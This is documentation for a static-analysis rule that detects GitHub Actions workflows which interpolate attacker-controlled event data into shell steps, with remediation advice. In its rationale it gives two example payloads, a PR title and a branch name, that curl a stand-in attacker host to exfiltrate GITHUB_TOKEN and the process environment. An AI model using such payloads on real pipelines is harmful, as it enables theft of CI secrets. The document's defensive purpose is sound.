VNX-SEC-023: GitHub Actions expression injection via event data
Reports attacker-controlled github.event data (PR title/body/head ref, issue and comment bodies, commit messages and authors, toJSON of the event) expanded with ${{ }} inside a run: or script: block of a workflow or composite action. env: indirection, with: inputs, if: conditions and safe contexts are not reported.
| Field | Value |
|---|---|
| Rule ID | VNX-SEC-023 |
| Severity | Critical |
| SARIF level | error |
| Kind | sast |
| Languages | Any file |
| CWE | CWE-77 |
| CAPEC | CAPEC-88 |
| ATT&CK | T1195.001 |
| CWSS vector | CWSS:1.0/TI:C/AP:A/AL:A/IC:N/FC:LT/RP:N/RL:A/AV:I/AS:N/IN:A/SC:A/BI:C/DI:H/EX:H/EC:N/P:W |
| Tags | ci-cd github-actions supply-chain command-injection |
| Source | internal/sast/rules/vnx-sec-023.rego |
Overview
This rule detects GitHub Actions workflows that embed untrusted github.event data, such as pull request titles, branch names, or issue comment bodies, directly into run: shell commands using expression syntax (${{ }}). An attacker who controls these values (by opening a PR, creating a branch, or posting a comment) can inject arbitrary shell commands that execute in the CI runner with the workflow’s permissions.
Why This Matters
GitHub Actions expression injection is a supply chain attack vector with severe consequences:
- CI runners have secrets. Workflows typically have access to
GITHUB_TOKEN, deployment keys, signing credentials, cloud provider tokens, and package registry credentials - No privilege boundary. The injected command runs with the full permissions of the workflow, if it has
contents: write, the attacker can push code; if it haspackages: write, they can publish packages - Any contributor can exploit it. Opening a pull request does not require write access to the repository. An attacker can craft a PR title like
"; curl attacker.com/steal?t=$GITHUB_TOKEN #to exfiltrate secrets - Branch names are fully attacker-controlled. An attacker can create a branch named
$(curl attacker.com/$(cat /proc/self/environ | base64))and open a PR - GitHub does not sanitize expressions.
${{ github.event.pull_request.title }}is interpolated verbatim into the shell command before execution
What Gets Flagged
Pattern 1: Event data in run: commands
# Flagged: PR title injected into shell command
- run: echo "PR Title: ${{ github.event.pull_request.title }}"
# Flagged: PR body in run command
- run: |
body="${{ github.event.pull_request.body }}"
echo "$body" | grep "JIRA"
# Flagged: issue comment body
- run: echo "${{ github.event.comment.body }}"
Pattern 2: Branch ref in run: commands
# Flagged: head_ref is attacker-controlled
- run: echo "Branch: ${{ github.head_ref }}"
# Flagged: used in a script
- run: git checkout ${{ github.head_ref }}
The rule applies to workflow files under .github/workflows/ and to composite actions (action.yml, action.yaml). Any script: block counts as well as run: (actions/github-script, appleboy/ssh-action). Not flagged: the value passed through env: and read as "$TITLE", with: inputs, if: conditions, and safe contexts such as github.event.pull_request.number.
Remediation
-
Use an intermediate environment variable. This is the recommended fix, environment variables are passed as data, not interpreted as shell syntax:
# Safe: env var is not subject to shell injection - name: Echo PR title safely env: PR_TITLE: ${{ github.event.pull_request.title }} run: echo "PR Title: $PR_TITLE" -
Use
github.event.pull_request.numberinstead of title/body for identification. The PR number is an integer and safe to interpolate:# Safe: PR number is an integer - run: echo "Processing PR #${{ github.event.pull_request.number }}" -
For branch-based operations, use
actions/checkoutinstead of raw git commands:# Safe: the action handles ref resolution securely - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} -
If you must process event data, use a script file instead of inline shell:
- name: Process PR data uses: actions/github-script@v7 with: script: | // Safe: data is handled as a JavaScript string, not shell const title = context.payload.pull_request.title; console.log(`Title: ${title}`); -
Restrict workflow permissions to the minimum needed. Even if injection occurs, limit the blast radius:
permissions: contents: read # Not write pull-requests: read -
Use
pull_requesttrigger instead ofpull_request_targetwhen possible.pull_requestruns in the context of the fork with reduced permissions, whilepull_request_targetruns with the base repository’s secrets.
References
- CWE-77: Command Injection
- GitHub Security Lab: Keeping Your GitHub Actions and Workflows Secure
- GitHub Docs: Security Hardening for GitHub Actions
- CAPEC-88: OS Command Injection
- MITRE ATT&CK T1195.001 – Supply Chain Compromise: Compromise Software Dependencies and Development Tools
- OWASP CI/CD Security Risks – Poisoned Pipeline Execution
- Cycode: GitHub Actions Expression Injection
Suppressing this rule
Put a nosec comment on the line, or on line 1 to cover the whole file. Use the comment marker of the file’s language (#, //, -- or ;):
# nosec vnx-sec-023
// nosec vnx-sec-023
Or record an ignore rule: vulnetix ignore add --rule vnx-sec-023 --reason "...". See Suppressing findings.